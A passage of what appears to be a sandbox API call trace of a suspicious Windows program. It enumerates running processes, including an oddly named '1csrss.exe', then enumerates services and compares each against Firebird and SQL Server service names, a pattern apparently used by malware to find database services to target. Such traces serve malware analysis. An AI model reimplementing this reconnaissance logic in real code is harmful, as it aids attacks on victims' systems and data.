th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0302.274] lstrlenW (lpString="spoolsv.exe") returned 11 [0302.274] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0302.275] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0302.275] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0302.276] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0302.276] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0302.277] lstrlenW (lpString="Memory Compression") returned 18 [0302.277] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.277] lstrlenW (lpString="svchost.exe") returned 11 [0302.277] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0302.278] lstrlenW (lpString="audiodg.exe") returned 11 [0302.278] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0302.280] lstrlenW (lpString="sihost.exe") returned 10 [0302.280] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.281] lstrlenW (lpString="svchost.exe") returned 11 [0302.281] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0302.281] lstrlenW (lpString="taskhostw.exe") returned 13 [0302.281] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0302.282] lstrlenW (lpString="explorer.exe") returned 12 [0302.282] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0302.283] lstrlenW (lpString="SearchUI.exe") returned 12 [0302.283] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0302.283] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0302.283] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0302.284] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0302.284] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0302.285] lstrlenW (lpString="1csrss.exe") returned 10 [0302.285] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.285] lstrlenW (lpString="svchost.exe") returned 11 [0302.285] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0302.286] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0302.286] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.287] lstrlenW (lpString="svchost.exe") returned 11 [0302.287] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0302.289] lstrlenW (lpString="consent.exe") returned 11 [0302.289] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0302.290] CloseHandle (hObject=0x4f0) returned 1 [0302.290] Sleep (dwMilliseconds=0x1f4) [0302.803] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0302.804] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0302.804] GetLastError () returned 0xea [0302.804] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0302.804] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0302.805] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0302.805] lstrlenW (lpString="Appinfo") returned 7 [0302.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0302.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0302.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0302.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0302.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0302.805] lstrlenW (lpString="AppXSvc") returned 7 [0302.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0302.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0302.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0302.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0302.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0302.805] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0302.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0302.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0302.806] lstrlenW (lpString="Audiosrv") returned 8 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0302.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0302.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0302.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0302.806] lstrlenW (lpString="BFE") returned 3 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0302.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0302.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0302.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0302.806] lstrlenW (lpString="BITS") returned 4 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0302.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0302.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0302.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0302.806] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0302.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0302.806] lstrlenW (lpString="CDPSvc") returned 6 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0302.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0302.806] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0302.806] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0302.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0302.806] lstrlenW (lpString="ClickToRunSvc") returned 13 [0302.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0302.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0302.807] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0302.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0302.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0302.807] lstrlenW (lpString="CryptSvc") returned 8 [0302.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0302.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0302.807] lstrlenW (lpString="DcomLaunch") returned 10 [0302.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0302.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0302.807] lstrlenW (lpString="DeviceAssociationService") returned 24 [0302.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0302.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0302.807] lstrlenW (lpString="Dhcp") returned 4 [0302.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0302.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0302.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0302.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0302.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0302.808] lstrlenW (lpString="Dnscache") returned 8 [0302.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0302.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0302.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0302.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0302.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0302.808] lstrlenW (lpString="DoSvc") returned 5 [0302.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0302.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0302.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0302.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0302.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0302.808] lstrlenW (lpString="DPS") returned 3 [0302.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0302.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0302.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0302.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0302.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0302.808] lstrlenW (lpString="DusmSvc") returned 7 [0302.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0302.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0302.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0302.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0302.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0302.809] lstrlenW (lpString="EventLog") returned 8 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0302.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0302.809] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0302.809] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0302.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0302.809] lstrlenW (lpString="EventSystem") returned 11 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0302.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0302.809] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0302.809] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0302.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0302.809] lstrlenW (lpString="FontCache") returned 9 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0302.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0302.809] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0302.809] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0302.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0302.809] lstrlenW (lpString="gpsvc") returned 5 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0302.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0302.809] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0302.809] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0302.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0302.809] lstrlenW (lpString="iphlpsvc") returned 8 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.809] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0302.809] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0302.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0302.809] lstrlenW (lpString="KeyIso") returned 6 [0302.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0302.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0302.810] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0302.810] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0302.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0302.810] lstrlenW (lpString="LanmanServer") returned 12 [0302.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0302.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0302.810] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0302.810] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0302.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0302.814] lstrlenW (lpString="LanmanWorkstation") returned 17 [0302.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.814] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0302.814] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0302.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0302.814] lstrlenW (lpString="lfsvc") returned 5 [0302.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0302.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0302.814] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0302.814] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0302.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0302.814] lstrlenW (lpString="lmhosts") returned 7 [0302.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0302.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0302.814] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0302.814] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0302.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0302.814] lstrlenW (lpString="LSM") returned 3 [0302.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0302.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0302.814] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0302.814] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0302.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0302.814] lstrlenW (lpString="MapsBroker") returned 10 [0302.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0302.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0302.815] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0302.815] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0302.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0302.815] lstrlenW (lpString="MpsSvc") returned 6 [0302.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0302.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0302.815] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0302.815] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0302.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0302.815] lstrlenW (lpString="NcbService") returned 10 [0302.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0302.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0302.815] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0302.815] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0302.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0302.815] lstrlenW (lpString="netprofm") returned 8 [0302.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0302.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0302.815] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0302.815] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0302.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0302.815] lstrlenW (lpString="NgcSvc") returned 6 [0302.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0302.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0302.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0302.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0302.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0302.827] lstrlenW (lpString="NlaSvc") returned 6 [0302.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0302.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0302.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0302.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0302.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0302.827] lstrlenW (lpString="nsi") returned 3 [0302.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0302.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0302.827] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0302.827] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0302.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0302.827] lstrlenW (lpString="PcaSvc") returned 6 [0302.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0302.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0302.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0302.828] lstrlenW (lpString="PlugPlay") returned 8 [0302.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0302.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0302.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0302.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0302.828] lstrlenW (lpString="Power") returned 5 [0302.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0302.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0302.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 